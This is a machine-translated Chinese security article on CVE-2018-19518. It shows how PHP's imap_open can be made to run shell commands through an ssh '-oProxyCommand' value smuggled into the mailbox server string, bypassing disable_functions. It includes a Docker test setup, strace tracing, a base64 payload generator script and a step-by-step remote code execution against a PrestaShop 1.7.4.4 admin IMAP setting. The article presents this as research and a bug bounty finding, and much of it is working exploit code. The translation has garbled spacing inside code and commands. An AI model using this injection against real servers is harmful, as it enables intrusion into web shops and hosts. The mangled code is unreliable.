今天,即使管理员在PHP配置文件中设置disable_functions,我们也将探索一种令人兴奋的远程执行代码的方法。它适用于大多数流行的类UNIX系统。

CVE-2018-19518漏洞是@crlf贡献的。让我们看看该漏洞的详细信息以及如何利用它。

测试环境

对于测试操作,我们需要建立一个测试环境。我将使用Debian 9系统的docker容器和一些安全选项设置为关闭进行调试。

docker run — rm -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined — name=phpimap — hostname=phpimap -p80:80 debian /bin/bash

接下来,我们需要使用IMAP模块为大家和PHP安装编辑器。

apt update && apt install -y nano php php-imap

在本文的时候,我从默认存储库安装了PHP版本7.0.30。

另外,我们需要ssh,因为每个的服务器都有ssh,对吧?:)

apt install -y ssh

如果要查看系统调用,则需要安装strace工具。

apt install -y strace

现在,尝试为我们的PHP安装添加一些安全性。要做到这一点,我只是谷歌“PHP禁用危险功能”

并使用搜索结果中的第一个链接。是的,我在这里扮演一名超级技能的管理员......

根据手册,我们需要将以下内容添加到配置文件disable_functions指令中。我们这样做。

echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini
echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns

据推测,我们现在受到保护,无法执行大多数危险功能。让我们看看我们能做些什么。

什么是IMAP?
为什么我们需要回答这个奇怪的问题?因为它是在系统中执行任何命令的桥梁。Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP / IP连接从邮件服务器检索电子邮件的Internet标准协议。IMAP由Mark Crispin于1986年设计为远程邮箱协议,与广泛使用的POP(一种用于检索邮箱内容的协议)形成对比。目前,IMAP由RFC 3501定义规格。IMAP的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。因此,客户端通常会在服务器上保留消息,直到用户明确删除它们为止。IMAP服务器通常侦听端口号143.默认情况下,IMAP over SSL(IMAPS)被分配端口号993。当然,PHP支持IMAP开箱即用。为了使协议的工作更容易,PHP有许多功能。在所有这些功能中,我们只对imap_open感兴趣。它用于打开邮箱的IMAP流。该函数不是PHP核心函数; 它是从华盛顿大学开发的UW IMAP工具包环境导入的 该库的最新版本大约在7年前于2011年发布。

在PHP中调用它的语法如下所示:

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

需要定义要连接的服务器时使用的mailbox参数。

{[host]}:[port][flags]}[mailbox_name]

除了标准的主机,端口和邮箱名称,我们还可以使用一些标志。有关它的所有信息,请参阅官方手册页。与某些IMAP服务器的标准连接可能如下所示:

imap_open(“{mail.domain.com}:143/imap/notls}”, “admin”, “admin”)

中/ imap和/ notls是连接标志。

查看突出显示的/ norsh标志。IMAP允许您使用预先认证的ssh或rsh会话自动登录服务器。当您不需要使用该功能时使用的标志然后默认尝试使用该标志。每个人都知道ssh,但是谁知道什么是rsh?

什么是rsh?

很久以前在ssh之前使用了远程shell(rsh)。它的起源可以追溯到BSD Unix操作系统以及rcp。它是1983年4.2BSD上rlogin软件包的一部分.Rsh后来被移植到其他操作系统。然后,在1995年,引入了第一个版本的SSH协议。

rsh命令与另一个常见的UNIX实用程序(受限制的shell)具有相同的名称,该实用程序最初出现在PWB / UNIX中。在System V Release 4中,受限shell通常位于/ usr / bin / rsh。然而,问题是,2018年仍然是rsh?好吧,大多数流行的类似Unix的发行版仍然以某种方式使用它:

漏洞详细信息

查看imap2007f库的源代码。与连接的工作原理主要功能是tcp_aopen在tcp_unix.c文件中定义。

/imap-2007f/src/osdep/unix/tcp_unix.c:

321: /* TCP/IP authenticated open
322: * Accepts: host name
323: * service name
324: * returned user name buffer
325: * Returns: TCP/IP stream if success else NIL
326: */
…
330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
331: {

让我们检查是否定义了ssh和rsh的路径。

/imap-2007f/src/osdep/unix/tcp_unix.c:

341: #ifdef SSHPATH /* ssh path defined yet? */
342: if (!sshpath) sshpath = cpystr (SSHPATH);
343: #endif
344: #ifdef RSHPATH /* rsh path defined yet? */
345: if (!rshpath) rshpath = cpystr (RSHPATH);
346: #endif

该代码告诉我们如果没有定义SSHPATH,那么尝试读取RSHPATH。一些源代码将帮助我们找出SSHPATH定义发生的位置。事实上,它是IMAP守护程序读取配置文件/etc/c-client.cf。该DORC程序解析来自它和许多其他指令之间的信息SSH路径存在。如果已定义,则SSHPATH接受它。

/imap-2007f/src/osdep/unix/env_unix.h:

48: /* dorc() options */
49:
50: #define SYSCONFIG “/etc/c-client.cf”

/imap-2007f/src/osdep/unix/env_unix.c:

1546: /* Process rc file
…
1552: void dorc (char *file,long flag)
1553: {
…
1677: else if (!compare_cstring (s,”set ssh-path”))
1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);

默认情况下它是空的,我们无法控制它,因为/ etc目录没有启用写入。但你可以尝试深入挖掘这个方向,也许,你可以找到一个很好的攻击向量。

现在我们跳转到RSHPATH定义。它位于构建自动化工具(make)配置文件 - Makefile中。不同版本的发行版为其Makefile提供了不同的路径。在大多数情况下,您可以在Linux上看到/ usr / bin / rsh路径。

/imap-2007f/src/osdep/unix/Makefile:

248: bs3: # BSD/i386 3.0 or higher
…
253: RSHPATH=/usr/bin/rsh \
…
261: bsf: # FreeBSD
…
266: RSHPATH=/usr/bin/rsh \
…
528: mnt: # Mint
…
533: RSHPATH=/usr/bin/rsh \
…
590: osx: # Mac OS X
…
594: RSHPATH=/usr/bin/rsh \
…
673: slx: # Secure Linux
…
681: RSHPATH=/usr/bin/rsh \

我把Debian 9作为我的测试环境,我有/ usr / bin / rsh作为RSHPATH,这是我的情况下ssh二进制文件的链接。

返回tcp_aopen并观察定义后会发生什么。

/imap-2007f/src/osdep/unix/tcp_unix.c:

347: if (*service == ‘*’) { /* want ssh? */
348: /* return immediately if ssh disabled */
349: if (!(sshpath && (ti = sshtimeout))) return NIL;
350: /* ssh command prototype defined yet? */
351: if (!sshcommand) sshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
352: }
353: /* want rsh? */
354: else if (rshpath && (ti = rshtimeout)) {
355: /* rsh command prototype defined yet? */
356: if (!rshcommand) rshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
357: }
358: else return NIL; /* rsh disabled */

该代码生成一个命令以在远程服务器上执行rimapd二进制文件。让我们创建一个PHP脚本进行测试。

test1.php:

1: <?php
2: @imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);

然后使用带有execve系统调用过滤的strace工具来观察脚本处理期间将执行的命令。

strace -f -e trace = clone,execve php test1.php

如您所见,localhost是执行命令的参数之一。这意味着我们可以在操作服务器地址参数时操纵命令行。

让我们看看ssh二进制文件的选项,因为在Debian / usr / bin / rsh中是它的符号链接。这里有很多选项,当然,我们需要关注-o。

用该选项,我可以在命令行中传递任何指令,就像它们在配置文件中一样。看看ProxyCommand。在其帮助下,您可以指定用于连接服务器的命令。该命令在用户的shell中执行。这正是我们需要的一个很好的利用!

让我们看看它如何使用一个简单的命令:

ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost

该命令已完全成功。

好的,但是我们不能直接将它转移到PHP脚本来代替imap_open服务器地址,因为在解析时,它会将空格解释为分隔符和斜杠作为标志。幸运的是,您可以使用$ IFS shell变量来替换空格符号或普通选项卡(\ t)。您可以在bash中使用Ctrl + V热键和Tab键插入标签。

ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost

要绕过斜杠,可以使用base64编码和相关命令对其进行解码。

echo“echo hello | tee / tmp / executed”| base64
> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo =
ssh -oProxyCommand =“echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo = | base64 -d | bash”localhost

工作很棒!是时候在PHP中测试它了。

test2.php:

1:<?php 
2:$ payload =“echo hello | tee / tmp / executed”; 
3:$ encoded_pa​​yload = base64_encode($ payload); 
4:$ server =“any -o ProxyCommand = echo \ t”。$ encoded_pa​​yload。“| base64 \ td | bash”; 
5:@imap_open('{'。$ server。'}:143 / imap} INBOX','','');

现在再次使用strace执行它并观察命令行调用的内容。

看看这些连接。有我们所有的命令,它们正在远程服务器上运行。利用完成后,文件创建成功。该命令不是由PHP本身执行,而是由外部库执行,这意味着什么都不能阻止它执行,而不是事件disable_functions指令。

PrestaShop RCE

现在让我们看看PrestaShop上的一个真实示例。它是一种免费增值的开源电子商务解决方案。该软件根据开放软件许可证发布。它是用PHP编写的,支持MySQL数据库管理系统。PrestaShop目前被全球约250,000家在线商店使用。

首先,您需要安装具有最低要求的环境。

apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring
service mysql start
mysql -u root -e “CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO ‘root’@’localhost’ IDENTIFIED BY ‘megapass’;”
a2enmod rewrite

接下来,下载PrestaShop 1.7.4.4安装程序并将其解压缩到web-root目录。

cd /var/www/html
wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip
unzip prestashop_1.7.4.4.zip
Start Apache2 daemon and surf your web-server to begin shop installation.
service apache2 start

成功安装过程后,登录管理面板,转到客户服务选项卡,然后查看客户服务选项部分。有IMAP服务器参数,您可以在其中找到IMAP URL。

查看AdminCustomerThreads控制器的源代码。

prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php:

0948: // Executes the IMAP synchronization.
0949: $sync_errors = $this->syncImap();
…
0966: public function syncImap()
0967: {
0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))
0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))
0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))
0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {
0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));
0973: }
0974:
0975: $conf = Configuration::getMultiple(array(
0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,
0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,
0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));
…
1007: $mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);

你可以在这里看到imap_open调用用户数据$ url变量。

我将以前的脚本更新为PHP上的一个小负载生成器。它需要您想要作为参数执行的命令。

payload.php:

1:<?php 
2:$ payload = $ argv [1]; 
3:$ encoded_pa​​yload = base64_encode($ payload); 
4:$ server =“any -o ProxyCommand = echo \ t”。$ encoded_pa​​yload。“| base64 \ td | bash}”; 
5:print(“payload:{$ server}”。PHP_EOL);

将生成的有效payload插入URL输入并按保存。

瞧!远程执行代码漏洞就在这里。

结论
今天,我们了解了一种绕过安全限制并实现远程代码执行漏洞的新技术。看看在PrestaShop软件上使用它的真实世界示例,该软件仍然没有可以解决问题的版本。但是,PHP开发人员已经发布了针对此问题的补丁。不幸的是,Linux发行版中的存储库和软件包并没有像我们所喜欢的那样快速更新。

注意并尝试在项目中避免不安全的imap_open函数调用。

有一个很好的bug赏金;)

原文链接:https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

源链接

Hacking more

...